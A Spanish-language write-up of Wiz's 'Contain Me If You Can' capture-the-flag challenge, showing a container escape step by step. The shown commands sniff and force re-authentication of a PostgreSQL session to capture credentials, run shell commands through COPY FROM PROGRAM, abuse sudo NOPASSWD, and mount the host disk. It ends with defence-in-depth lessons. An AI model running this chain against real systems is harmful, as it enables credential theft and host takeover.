Saltar a contenido

WriteUp: Cloud Security Championship #2 - Contain Me If You Can

El segundo reto del Cloud Security Championship organizado por Wiz se llama Contain Me If You Can. Esta vez necesitamos escapar de un entorno containerizado para obtener una flag ubicada en /flag en el filesystem del host.

Contain Me If You Can Cloud Security Championship #2

Reconocimiento inicial

Comenzamos dentro de un contenedor con un objetivo simple: escapar al host y obtener la flag en /flag. Empecemos enumerando a qué tenemos acceso para entender con qué estamos tratando y encontrar potenciales vectores de ataque.

Análisis del filesystem

Veamos qué filesystems están montados:

root@220705be2476:/# mount | head -10
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ALDXLW3XXQASE5RFYLV4J3P5SI:/var/lib/docker/overlay2/l/PUDUWBLOUV4KDA226EAPOCLY7U:/var/lib/docker/overlay2/l/DADW4QRM2QMV7JYQKZLCFHSXW3:/var/lib/docker/overlay2/l/FJGPNHG4APZTCSAAQUZTLVUW2O,upperdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/diff,workdir=/var/lib/docker/overlay2/cd07824edd2ecf69c0561b9030390f8d9e8f60922a108c4c75eac269f2578cea/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/vdb on /etc/resolv.conf type ext4 (rw,relatime)
/dev/vdb on /etc/hostname type ext4 (rw,relatime)

El filesystem overlayfs en la raíz muestra rutas absolutas del host en el lowerdir (mira las rutas como /var/lib/docker/overlay2/...), lo que nos dice dónde está el almacenamiento de Docker en el host. Los montajes /dev/vdb para los archivos de configuración también sugieren algún acceso al disco.

¿Podremos acceder al almacenamiento de Docker directamente?

root@220705be2476:/# ls -l /var/lib/docker
ls: cannot access '/var/lib/docker': No such file or directory

No. Aunque la salida del mount muestra las rutas de Docker del host, no son accesibles directamente desde el filesystem de nuestro contenedor.

Análisis del disco

root@220705be2476:/# lsblk
NAME
    MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
vda 254:0    0 135.4M  1 disk
vdb 254:16   0     1G  0 disk /etc/hosts
                              /etc/hostname
                              /etc/resolv.conf
root@220705be2476:/# ls -l /dev/ | grep -E "(vd|sd)"
# No hay discos tradicionales visibles en /dev

Vale, lsblk muestra discos vda y vdb, pero el directorio /dev del contenedor no tiene acceso directo a ellos. Típico aislamiento de contenedores.

Análisis de Procesos y Namespaces

root@220705be2476:/# ls /proc/1/root/
bin                dev   lib    mnt   root  sbin.usr-is-merged  tmp
bin.usr-is-merged  etc   lib64  opt   run   srv                 usr
boot               home  media  proc  sbin  sys                 var

Esto pinta bien, pero vamos a comprobarlo:

root@220705be2476:/# ls -la /proc/1/root/ | grep docker
-rwxr-xr-x   1 root root    0 Aug 15 13:57 .dockerenv

Ah, ahí está el archivo .dockerenv. Esto confirma que /proc/1/root es en realidad el sistema de archivos del propio contenedor, no del host. El aislamiento por procesos está funcionando...

Evaluación de Capabilities

Es hora de probar las típicas técnicas de escape de contenedores:

root@220705be2476:/# mount /dev/sda1 /mnt/host
mount: /mnt/host: mount point is not a directory.
       dmesg(1) may have more information after failed mount system call.

root@220705be2476:/# nsenter --mount=/proc/1/ns/mnt sh
nsenter: reassociate to namespace 'ns/mnt' failed: Operation not permitted

root@220705be2476:/# unshare -U -m
unshare: unshare failed: Operation not permitted

Todos estos fallos nos dicen que el contenedor no tiene CAP_SYS_ADMIN, lo que bloquea:

  • Montaje directo del filesystem del host
  • Manipulación de namespaces vía nsenter
  • Creación de namespaces de usuario para exploits de OverlayFS

Lo que no funcionó

Después de probar prácticamente de todo, estos vectores de ataque fueron descartados:

  • Acceso directo al host vía /var/lib/docker
  • Escape de namespace de procesos vía /proc/<pid>/root (debido al aislamiento del PID)
  • Exploits de kernel como CVE-2023-0386 (falta CAP_SYS_ADMIN para unshare)
  • Explotación de socket Docker (no presente en el contenedor)
  • Bind mounts comunes (/host, /mnt, /rootfs estaban vacíos o no existían)
  • Explotación de core pattern (permiso denegado para escribir en /proc/sys/kernel/core_pattern)

El contenedor parece estar bien protegido. Es hora de probar otras cosas...

Escaneo de red: la conexión oculta

¿Habrá algo más en la red?

root@220705be2476:/# netstat -putona
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.11:35211        0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 172.19.0.3:44608        172.19.0.2:5432         ESTABLISHED -                    keepalive (0.00/0/0)
udp        0      0 127.0.0.11:50366        0.0.0.0:*                           -                    off (0.00/0/0)

Bingo! Hay una conexión PostgreSQL establecida en 172.19.0.2:5432. Veamos qué está pasando ahí.

Extracción de credenciales vía manipulación de tráfico

Empecemos a sniffear el tráfico:

root@220705be2476:/# tcpdump -i any -A -s 0 host 172.19.0.2 and port 5432
Monitorización del tráfico inicial
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:19:22.004946 eth0  Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [P.], seq 2033206922:2033206941, ack 810919157, win 501, options [nop,nop,TS val 3447785403 ecr 4207817494], length 19
E..G|.@...&[email protected].....
......3.Q....SELECT now();.
15:19:22.005470 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.44608: Flags [P.], seq 1:90, ack 19, win 509, options [nop,nop,TS val 4207822260 ecr 3447785403], length 89
E....^@[email protected]......
..E.....T......now...................D...'......2025-08-15 15:19:22.005312+00C....SELECT 1.Z....I
15:19:22.005481 eth0  Out IP 220705be2476.44608 > postgres_db.user_db_network.postgresql: Flags [.], ack 90, win 501, options [nop,nop,TS val 3447785403 ecr 4207822260], length 0
E..4|.@...&[email protected].....
......E.
^C
3 packets captured
3 packets received by filter
0 packets dropped by kernel

Podemos ver consultas continuas de SELECT now();, así que definitivamente hay una sesión autenticada y activa. ¿Podría estar en texto plano? Vamos a probar a matar la conexión y capturar la contraseña durante la reconexión:

root@220705be2476:/# tcpkill -i any host 172.19.0.2 and port 5432
Matando la conexión
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
tcpkill: listening on any [host 172.19.0.2 and port 5432]
172.19.0.3:44608 > 172.19.0.2:5432: R 810920190:810920190(0) win 0
172.19.0.3:44608 > 172.19.0.2:5432: R 810921192:810921192(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033207545:2033207545(0) win 0
172.19.0.2:5432 > 172.19.0.3:44608: R 2033208563:2033208563(0) win 0


172.19.0.3:50076 > 172.19.0.2:5432: R 1922576238:1922576238(0) win 0
172.19.0.3:50076 > 172.19.0.2:5432: R 1922576740:1922576740(0) win 0

Con tcpdump ejecutándose en segundo plano, capturamos la autenticación en texto plano durante la reconexión:

Captura de Autenticación
...........=....user.user.database.mydatabase.application_name.psql..
15:21:07.016965 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 2:11, ack 70, win 509, options [nop,nop,TS val 4207927272 ecr 3447890414], length 9
[email protected]./oW.......X[.....
........R........
15:21:07.016988 eth0  Out IP 220705be2476.50076 > postgres_db.user_db_network.postgresql: Flags [P.], seq 70:100, ack 11, win 502, options [nop,nop,TS val 3447890415 ecr 4207927272], length 30
[email protected]#...........8W...r./x....Xp.....
........p....[CONTRASEÑA CENSURADA].
15:21:07.027202 eth0  In  IP postgres_db.user_db_network.postgresql > 220705be2476.50076: Flags [P.], seq 11:418, ack 100, win 509, options [nop,nop,TS val 4207927282 ecr 3447890415], length 407
[email protected]./xW.......Y......
........R........S....in_hot_standby.off.S....integer_datetimes.on.S....TimeZone.UTC.S....IntervalStyle.postgres.S....is_superuser.on.S....application_name.psql.S...&default_transaction_read_only.off.S....scram_iterations.4096.S....DateStyle.ISO, MDY.S...#standard_conforming_strings.on.S....session_authorization.user.S....client_encoding.UTF8.S....server_version.16.8.S....server_encoding.UTF8.K..........6.Z....I

¡Perfecto! Conseguimos las credenciales de la base de datos:

  • Usuario: user
  • Contraseña: [REDACTED PASSWORD]
  • Base de datos: mydatabase

Acceso a PostgreSQL y movimiento lateral

Ahora podemos conectarnos directamente al servidor PostgreSQL:

root@220705be2476:/# psql -h 172.19.0.2 -U user -d mydatabase
Password for user user:
psql (16.9 (Ubuntu 16.9-0ubuntu0.24.04.1), server 16.8)
Type "help" for help.

mydatabase=# SELECT current_user;
 current_user
--------------
 user
(1 row)

Intentos iniciales de acceso a archivos

Primer instinto: ¿podemos simplemente leer la flag directamente? ¿Por qué no? 🤷‍♂️

mydatabase=# SELECT pg_read_file('/flag', 0, 200);
ERROR:  could not open file "/flag" for reading: No such file or directory

Pues no. El servidor PostgreSQL también está containerizado y no puede ver el archivo /flag del host. Simplemente nos hemos movido de un contenedor a otro... 🤦‍♂️

Ejecución de comandos vía COPY FROM PROGRAM

Vamos a aprovechar el COPY ... FROM PROGRAM de PostgreSQL para probar a ejecutar comandos en el contenedor de PostgreSQL:

mydatabase=# CREATE TEMP TABLE output (line text);
COPY output FROM PROGRAM 'whoami && id';
SELECT * FROM output;
DROP TABLE output;
CREATE TABLE
COPY 2
                              line
-----------------------------------------------------------------
 postgres
 uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)
(2 rows)

DROP TABLE

Bien! Ahora estamos ejecutando comandos como el usuario postgres dentro del contenedor PostgreSQL.

Escalación de privilegios: la configuración NOPASSWD de sudo

Revisemos qué binarios con SUID están disponibles:

mydatabase=# CREATE TEMP TABLE suid_check (line text);
COPY suid_check FROM PROGRAM 'find / -perm -4000 2>/dev/null | grep sudo';
SELECT * FROM suid_check;
DROP TABLE suid_check;

CREATE TABLE
COPY 1
     line
---------------
 /usr/bin/sudo
(1 row)

DROP TABLE
CREATE TABLE
COPY 1
        line
--------------
    /usr/bin/sudo
(1 row)

DROP TABLE

sudo está disponible! Listemos qué podemos hacer con él:

mydatabase=# CREATE TEMP TABLE sudo_check (line text);
COPY sudo_check FROM PROGRAM 'sudo -l';
SELECT * FROM sudo_check;
DROP TABLE sudo_check;
CREATE TABLE
COPY 8
                                     line
------------------------------------------------------------------------------
 Matching Defaults entries for postgres on 032c93ff87db:
     secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

 Runas and Command-specific defaults for postgres:
     Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

 User postgres may run the following commands on 032c93ff87db:
     (ALL) NOPASSWD: ALL
(8 rows)

DROP TABLE

¡¡Jackpot!! 🎰🎰🎰

Perdón, acabamos de venir de nuestro workshop en DEFCON, en Las Vegas... 😅

El usuario postgres puede ejecutar cualquier comando como root sin contraseña. Esa es una tremenda misconfiguration que nos acaba de dar root dentro del contenedor PostgreSQL.

Escape del contenedor: de la base de datos al host

Ahora que tenemos acceso root dentro del contenedor PostgreSQL, es hora de escapar al host. Pero primero, confirmemos que podemos acceder al proceso init del host:

Identificando el proceso del host

mydatabase=# CREATE TEMP TABLE host_check (line text);
COPY host_check FROM PROGRAM 'sudo fuser -m /';
SELECT * FROM host_check;
DROP TABLE host_check;
CREATE TABLE
COPY 1
               line
----------------------------------
 1 14 15 17 18 19 3346 3634 4262
(1 row)

DROP TABLE

Perfecto! Podemos ver varios PIDs incluyendo el PID 1, confirmando que tenemos visibilidad de los procesos del host. Esto significa que podemos ejecutar comandos que tendrán acceso a los recursos y namespaces del host.

Descubrimiento del disco del host

Veamos ahora cómo está distribuido el disco del host:

mydatabase=# CREATE TEMP TABLE disk_check (line text);
COPY disk_check FROM PROGRAM 'sudo fdisk -l';
SELECT * FROM disk_check;
DROP TABLE disk_check;
CREATE TABLE
COPY 10
                           line
-----------------------------------------------------------
 Disk /dev/vda: 135 MB, 141975552 bytes, 277296 sectors
 135 cylinders, 64 heads, 32 sectors/track
 Units: sectors of 1 * 512 = 512 bytes

 Disk /dev/vda doesn't contain a valid partition table
 Disk /dev/vdb: 1024 MB, 1073741824 bytes, 2097152 sectors
 1024 cylinders, 64 heads, 32 sectors/track
 Units: sectors of 1 * 512 = 512 bytes

 Disk /dev/vdb doesn't contain a valid partition table
(10 rows)

DROP TABLE

El host tiene dos discos: /dev/vda (135 MB) y /dev/vdb (1024 MB). Dado que /dev/vdb se usa para archivos de configuración efímeros, /dev/vda es probablemente nuestro objetivo.

Montaje directo del disco

Ahora podemos ejecutar comandos directamente con privilegios a nivel de host y montar el disco principal:

mydatabase=# CREATE TEMP TABLE mount_ops (line text);
COPY mount_ops FROM PROGRAM 'sudo mkdir -p /mnt/host_root_disk';
COPY mount_ops FROM PROGRAM 'sudo mount /dev/vda /mnt/host_root_disk';
DROP TABLE mount_ops;
CREATE TABLE
COPY 0
(0 rows)

DROP TABLE

Consiguiendo la flag

Llegó el momento de la verdad. Veamos qué hay en el disco del host:

mydatabase=# CREATE TEMP TABLE flag_search (line text);
COPY flag_search FROM PROGRAM 'sudo ls -la /mnt/host_root_disk';
SELECT * FROM flag_search;
DROP TABLE flag_search;
CREATE TABLE
COPY 28
                                     line
-------------------------------------------------------------------------------
 total 5
 drwxr-xr-x   20 root     root           352 Jul 31 15:25 .
 drwxr-xr-x    1 root     root          4096 Aug 15 15:45 ..
 lrwxrwxrwx    1 root     root             7 Jul 31 10:49 bin -> usr/bin
 drwxr-xr-x    2 root     root             3 Apr 18  2022 boot
 drwxr-xr-x    4 root     root           191 Apr 18  2022 dev
 drwxr-xr-x   36 root     root          1420 Jul 31 10:49 etc
 -rw-r--r--    1 root     root            52 Jul 31 10:47 flag
 drwxr-xr-x    3 root     root            27 Jul 31 10:49 home
 lrwxrwxrwx    1 root     root             7 Jul 31 10:49 lib -> usr/lib
 lrwxrwxrwx    1 root     root             9 Jul 31 10:49 lib32 -> usr/lib32
 lrwxrwxrwx    1 root     root             9 Jul 31 10:49 lib64 -> usr/lib64
 lrwxrwxrwx    1 root     root            10 Jul 31 10:49 libx32 -> usr/libx32
 drwx------    2 root     root             3 Jul 31 15:24 lost+found
 drwxr-xr-x    2 root     root             3 Jul 31 10:49 media
 drwxr-xr-x    2 root     root             3 Jul 31 10:49 mnt
 drwxr-xr-x    3 root     root            33 Jul 31 15:25 opt
 drwxr-xr-x    4 root     root            39 Jul 31 15:25 overlay
 drwxr-xr-x    2 root     root             3 Apr 18  2022 proc
 drwxr-xr-x    2 root     root             3 Jul 31 15:25 rom
 drwx------    2 root     root            46 Jul 31 10:49 root
DROP TABLE

¡Ahí está! ¡La flag! Vamos a por ella:

mydatabase=# CREATE TEMP TABLE flag_content (line text);
COPY flag_content FROM PROGRAM 'sudo cat /mnt/host_root_disk/flag';
SELECT * FROM flag_content;
DROP TABLE flag_content;
CREATE TABLE
COPY 1
                        line
-----------------------------------------------------
 WIZ_CTF{[FLAG CENSURADA]}
(1 row)

DROP TABLE

Y la tenemos! 🚀

Resumen

El escape del contenedor ha sido posible gracias a una serie de técnicas:

Etapa 1: Reconocimiento de Red

  • Descubrimiento de conexión PostgreSQL activa vía netstat
  • Sniffing de tráfico para capturar credenciales

Etapa 2: Movimiento Lateral

  • Acceso a PostgreSQL usando las credenciales capturadas
  • Ejecución de comandos vía COPY FROM PROGRAM
  • Uso de sudo con NOPASSWD

Etapa 3: Escalación de Privilegios

  • Acceso root dentro del contenedor PostgreSQL
  • Identificación del proceso init del host (PID 1)
  • Ejecución directa de comandos con acceso a nivel de host

Etapa 4: Acceso al Host

  • Descubrimiento del disco del host usando ejecución directa de comandos
  • Montaje directo del disco principal del host
  • Recuperación de la flag desde el filesystem montado del host

Conclusión

Este reto muestra cómo los contenedores que parecen aislados pueden convertirse en el primer escalón en una cadena de ataque. El reconocimiento de red llevó al acceso a la base de datos, que llevó a la escalación de privilegios, que llevó al escape del contenedor y finalmente al acceso al host.

La conclusión? La defensa en profundidad importa. La correción de cualquiera de estos problemas podría haber roto toda la cadena: conexiones de base de datos encriptadas, configuraciones de sudo adecuadas, o mejor aislamiento de contenedores.

Afortunadamente, esto era un CTF y conseguimos la flag! 😄

Saludos, y que la fuerza os acompañe.